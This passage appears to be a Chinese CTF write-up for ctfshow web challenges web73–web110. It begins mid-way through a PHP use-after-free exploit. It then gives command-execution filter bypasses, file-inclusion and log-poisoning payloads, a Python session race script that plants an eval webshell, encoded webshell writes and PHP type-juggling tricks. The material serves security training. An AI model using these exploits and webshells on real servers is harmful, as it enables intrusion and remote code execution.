$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("tac /flag0.txt");ob_end_flush();
?>

然后url编码传入就可以了

web73

老样子

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

发现在flagc.txt,再用include就行了

1
c=include("/flagc.txt");exit();

web74

1
c=include("/flagx.txt");exit();

web75

发现在flag36.txt,include()行不通,,uaf脚本用不了

用mysql的load_file读取文件

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

但其实这里要求还是很多的,需要知道数据库账号密码,还有指定的库不一定就是默认的information_schema

web76

沿用上题的思路就行了

web77

利用的PHP 7.4+的FFI特性,即外部函数接口特性https://www.php.net/manual/zh/ffi.cdef.php

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

参考一下csdn大佬的解释

PHP手册中对FFI:cdef原型的描述为public static FFI::cdef(string $code = “”, ?string $lib = null),其中$code为一个字符串,包含常规C语言中的一系列声明,$lib为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
起初我认为payload中第一行代码的含义是,在不提供$lib信息的情况下,则会默认调用PHP中的system函数,但是实际上int system(const char *command);即为C语言中system函数的定义,用于执行系统命令,也即在Linux平台下将/readflag > 1.txt使用shell进行解析并执行,因此猜测readflag可能是一个可执行文件。

执行后访问1.txt,就能看到flag

如使用FFI调用C语言中的system函数列出根目录

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

web118

提示了

1
<!-- system($code);-->

过滤了字母数字

环境变量PATH是/bin,路径PWD是/var/www/html,HOME是/root。${PATH:A}${PWD:A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

1
Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值
1
${PATH:~A}${PWD:~A} ????.???

web119

构造出/bin/cat flag.php

1
2
3
4
5
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}} ====> /

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

或者

1
2
3
4
5
6
7
0${#}

1${#SHLVL}=1,或者${##}${#?}

2${SHLVL}=2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)

3${#IFS}=3。(linux下是3,mac里是4

$PWD这个在做题的时候由118题可以知道默认的位置是在 /var/www/html

于是结合hips构造出自己的答案:

/bin/cat flag.php

/???/?at ?l??.php

1
2
3
4
5
6
7
${PWD:${#}:${##}} = {${PWD}:0:1} = /

${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

${PWD:~A} = 取最后一位 = l
1
${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

web120

/bin/base64 flag.php

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数(多试几次)

再去base64解码

web121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

开始过滤一堆了

1
2
3
4
5
${PWD::${#?}} 就是/

${PWD:${#IFS}:${#?}} 就是r

${#IFS} 就是3
1
2
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev

web122

HOME 即/root

$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误比如Command not found就会返回127

为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1

这里的话可以用 <A,<A 提示的错误是no such file or dictionary,它对应的error code 是2
但是 $? 的结果是1

1
2
3
4
5
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
即:/???/?????4 ????.???
/bin/base64

<A 先让指令执行错误,然后 $? 取到的值就为1

多试几次

web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

禁麻了,突破口就是数学函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
base_convert(number,frombase,tobase);
number:规定要转换的数
frombase:规定数字原来的进制,介于236之间(包括 236
tobase:规定要转换的进制,介于 236 之间(包括 236
高于十进制的数字用字母a-z表示,如a表示10,b表示11以及z表示35

bindec ( string $binary_string ) : number
bindec:二进制转换为十进制

decbin ( int $number ) : string
decbin:十进制转换为二进制

dechex ( int $number ) : string
dechex:十进制转换为十六进制

decoct ( int $number ) : string
decoct:十进制转换为八进制

hexdec ( int $number ) : string
hexdec:十六进制转换为十进制

可以构造:

1
c=$_GET[a]($_GET[b])&a=system&b=cat f*
1
2
3
4
5
6
7
8
9
10
11
对于括号类的字符:
圆括号和方括号都是能用花括号直接替换的

_GET的构造:
因为这里很多数学函数都没有被禁,所以肯定是从这个入手的
base_convert('hex2bin', 36, 10);
即将hex2bin这个字符串从36进制转换成10进制,结果:37907361743
hexdec(bin2hex("_GET"));
即将_GET这个字符串转换成16进制后再转换成10进制,结果:1598506324
最后_GET的整体构造为:
base_convert('37907361743',10,36)(dechex('1598506324'));
1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

文件包含

  • include
  • inclued_once
  • require
  • require_once

当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

web78

1
2
3
4
5
6
7
8
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

可以用data://协议

1
?file=data://text/plain,<?php system('tac f*');?>

或者

1
?file=php://filter/convert.base64-encode/resource=flag.php

再base64解码就行了

web79

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

多了点过滤,上题的payload修改一下就可以了,将<?php改成<?=

1
?file=data://text/plain,<?= system('tac f*');?>

web80

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

用不了data协议了

可以包含日志文件 进行getshell

nginx日志的默认路径为/var/log/nginx.

ssh日志的默认路径为/var/log/auth.log

1
?file=/var/log/nginx/access.log

然后再:

1
<?php system('cat fl0g.php');?>

web81

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

跟上题一样日志包含就可以了

web82~86

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

条件竞争包含session,利用session.upload_progress将恶意语句写入session文件,从而包含session文件

参考:

https://www.freebuf.com/vuls/202819.html

https://xz.aliyun.com/t/10662

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://a8f01e6b-e9e9-4a3c-8585-f26b34dcdcbc.challenge.ctf.show/"
url2='http://a8f01e6b-e9e9-4a3c-8585-f26b34dcdcbc.challenge.ctf.show?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

web87

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

file_put_contents() 函数用于把字符串写入文件,成功返回写入到文件内数据的字节数,失败则返回 FALSE。
语法:
int file_put_contents ( string filename, string data [, int flags [, resource context]] )

file_put_contents()写文件。默认的是重新写文件,也就是会 替换原先的内容。

绕过死亡die可以使用rot13编码,还可以用base64编码https://www.leavesongs.com/PENETRATION/php-filter-magic.html

抄一下别人的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.rot13绕过
#下放url编码为php://filter/write=string.rot13/resource=6.php的两次url编码
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%36%25%32%65%25%37%30%25%36%38%25%37%30
#post传
content=<?cuc riny($_CBFG[1]);?>
#为<?php eval($_POST[1])?>

2.base64绕过
base64解码时会自动跳过不认识的字符,如空格,括号,中文等
<?php die('大佬别秀了');?>base64解码只解码phpdie,而base64是四个字符解码四个字符的,所以可以填充两个字符,造成php代码失效,而一句话木马能够解码成功
#file=php://filter/write=convert.base64-decode/resource=b.php两次url编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%32%25%32%65%25%37%30%25%36%38%25%37%30
#post
content=11PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#base64解码<?php @eval($_POST[1]);?>

以base64绕过为例,执行上面的payload后,一句话木马就会被写入b.php,这时候访问b.php去getshell就可以了

web88

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

可以直接用data协议

1
2
3
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs
POST
1=system("cat *f*");

web116

好有趣的一道题,打开是一个视频,下载下来然后可以用foremost分离出来一张图片

1
foremost 下载.mp4 

看到了源码,file_get_contents可以用来读取文件内容,可以跑字典来找出藏有flag的文件

1
view-source:http://d7d2a0ae-d5f7-4027-91c0-d710d57ba866.challenge.ctf.show/?file=flag.php

web117

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

ban了base64和rot13,之前的方法行不通了,可以用iconv.UCS-2LE.UCS-2BE,

1
2
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

php特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1

所以可以用数组绕过

1
?num[]=a

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。

  • 我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c

  • 函数intval如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。所以:

1
?num=4476a
  • 或者:因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
  • i修饰符表示匹配时不区分大小写,因此,它会匹配$a中的字符串,无论是”php”、”PHP”还是”Php”。
  • m修饰符表示多行模式,它会让^$匹配每一行的开头和结尾,而不仅仅是整个字符串的开头和结尾。
1
?cmd=123%0aphp

%0a表示换行/n

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

和web90题的区别在与==和===

1
2
?num=4476.1
?num=0x117c

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
1
?num=4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos($num, "0"):这部分代码会在字符串$num中查找字符”0”第一次出现的位置索引。如果找到了,则返回该位置的索引值,如果没有找到,则返回false

1
?num=4476.01

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

可以用8进制,但前面得加个字节,避免返回0(false)

1
?num=+010574

web96

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

1
2
?u=./flag.php
?u=/var/www/html/flag.php

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

因为这里是强比较,所以可以考虑数组绕过

1
a[]=1&b[]=2

web98

1
2
3
4
5
6
7
8
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
  1. $_GET?$_GET=&$_POST:'flag';: 这是一个三元运算符,检查$_GET是否存在。如果$_GET存在,它将使$_GET等于$_POST,否则,它会将$_GET设置为字符串’flag’。

  2. $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';: 这也是一个三元运算符,检查$_GET['flag']是否等于字符串’flag’。如果等于,它会将$_GET设置为$_COOKIE的值,否则,它会将$_GET设置为字符串’flag’。此处,如果$_GET['flag']被设置为’flag’,会将$_GET变为一个数组,该数组的值来自客户端发送的Cookie。

  3. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';: 同样是三元运算符,这里检查$_GET['flag']是否等于字符串’flag’。如果等于,它会将$_GET设置为$_SERVER的值,否则,它会将$_GET设置为字符串’flag’。此处,如果$_GET['flag']被设置为’flag’,会将$_GET变为一个数组,该数组的值来自服务端的环境变量。

  4. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);: 这行代码使用highlight_file函数来显示指定文件的内容。它使用了$_GET['HTTP_FLAG']的值来决定要显示的文件内容。如果$_GET['HTTP_FLAG']等于’flag’,它将显示$flag的内容(来自flag.php文件),否则,它将显示当前文件(__FILE__)的内容。

有点混乱,就是随便GET传一个,然后POST HTTP_FLAG=flag(让后两行失效)

web99

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组尾部插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>
1
2
3
4
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
typeTRUE则 函数还会检查 search的类型是否和 array中的相同

数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。

这里的in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1,从而绕过判断

1
2
?n=1.php
content=<?php system($_POST[1]);?>

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

?>

运算符优先级:&& > || > = > and > or

is_numeric () — 检测变量是否为数字或数字字符串,=的运算符比and高,对于v0的值只需要看v1就可以 v2,v3是干扰

1
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

注释掉v3和(‘ctfshow’)

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

多了些过滤,注释不了了,可以用反射类方法

1
?v1=1&v2=echo new Reflectionclass&v3=;

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

call_user_func函数类似于一种特别的调用函数的方法,第一个参数是调用的对象,第二个参数是被调用对象的参数,使用方法如下:

1
2
3
4
5
6
7
8
9
10
<?php
function nowamagic($a,$b)
{
echo $a;
echo $b;
}
call_user_func('nowamagic', "111","222");
call_user_func('nowamagic', "333","444");
//显示 111 222 333 444
?>

调用现有的方法hex2bin(把十六进制值转换为 ASCII 字符)

1
2
3
4
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin

web103

就多了一些过滤,用上题一样的payload就可以了

web104

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

?>

网上随便搜一下都能找到

1
2
3
4
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

或者直接数组绕过v1[]=1 v2[]=1

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

变量覆盖,payload

1
?suces=flag&flag=

由于没有POST提交,第二个foreach就没用,再看第一个,会得到$suces=$flag 和$flag=NULL(为空)这样就能绕过判断if(!($_POST[‘flag’]==$flag))

同时在die($suces);输出flag

web106

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

或者还是数组绕过

1
2
v2[]=2
v1[]=1

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

?>

parse_str(string,array)把查询字符串解析到变量中:

1
2
3
4
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>

就是往v1传入flag=c4ca4238a0b923820dcc509a6f75849b(1的md5值),然后再被解析成v2的falg变量,再往v3传1就好了

1
2
v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

strrev()反转字符串,ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

0x36d是16进制数,转换成10进制是877

先要被ereg匹配到返回TRUE,然后$_GET[‘c’])===FALSE就会返回false,该if语句就不能继续执行

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

匿名类绕过

1
?v1=class{ public function __construct(){ system('ls'); } };&v2=a

Exception 异常处理类

1
?v1=Exception&v2=system('tac fl36dg.txt') 

反射类

1
?v1=Reflectionclass&v2=system('tac fl36dg.txt')

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

可以用原生类 FilesystemIterator 获取指定目录下的所有文件,用getcwd()函数 获取当前工作目录

1
